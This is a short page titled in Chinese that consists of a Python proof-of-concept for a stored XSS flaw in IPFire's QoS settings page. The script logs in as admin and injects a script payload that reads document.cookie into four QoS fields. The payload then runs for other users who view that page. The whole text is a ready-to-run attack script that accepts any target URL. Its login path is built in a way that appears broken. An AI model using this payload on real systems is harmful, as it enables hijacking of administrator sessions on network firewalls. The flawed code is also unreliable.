CVE-2025-34310: IPFire QoS设置存储型XSS漏洞

import requests import sys # CVE-2025-34310 PoC - IPFire Stored XSS via QoS Settings # Target: IPFire < 2.29 (Core Update 198) TARGET_URL = "http://<ipfire-ip>/cgi-bin/qos.cgi" USERNAME = "admin" PASSWORD = "password" XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit_stored_xss(): """ This PoC demonstrates how to inject XSS payload through QoS settings. The payload is stored and executed when other users view the QoS page. """ session = requests.Session() # Step 1: Login to IPFire login_data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(f"{TARGET_URL.replace('/qos.cgi', '/cgi-bin/login.cgi')}", data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Logged in successfully") # Step 2: Inject XSS payload through QoS settings qos_data = { 'INC_SPD': f'1000000{XSS_PAYLOAD}', 'OUT_SPD': f'500000{XSS_PAYLOAD}', 'DEFCLASS_INC': f'1{XSS_PAYLOAD}', 'DEFCLASS_OUT': f'2{XSS_PAYLOAD}', 'ACTION': 'save' } response = session.post(TARGET_URL, data=qos_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[+] Payload will execute when other users view QoS settings") return True else: print("[-] Injection failed") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_stored_xss()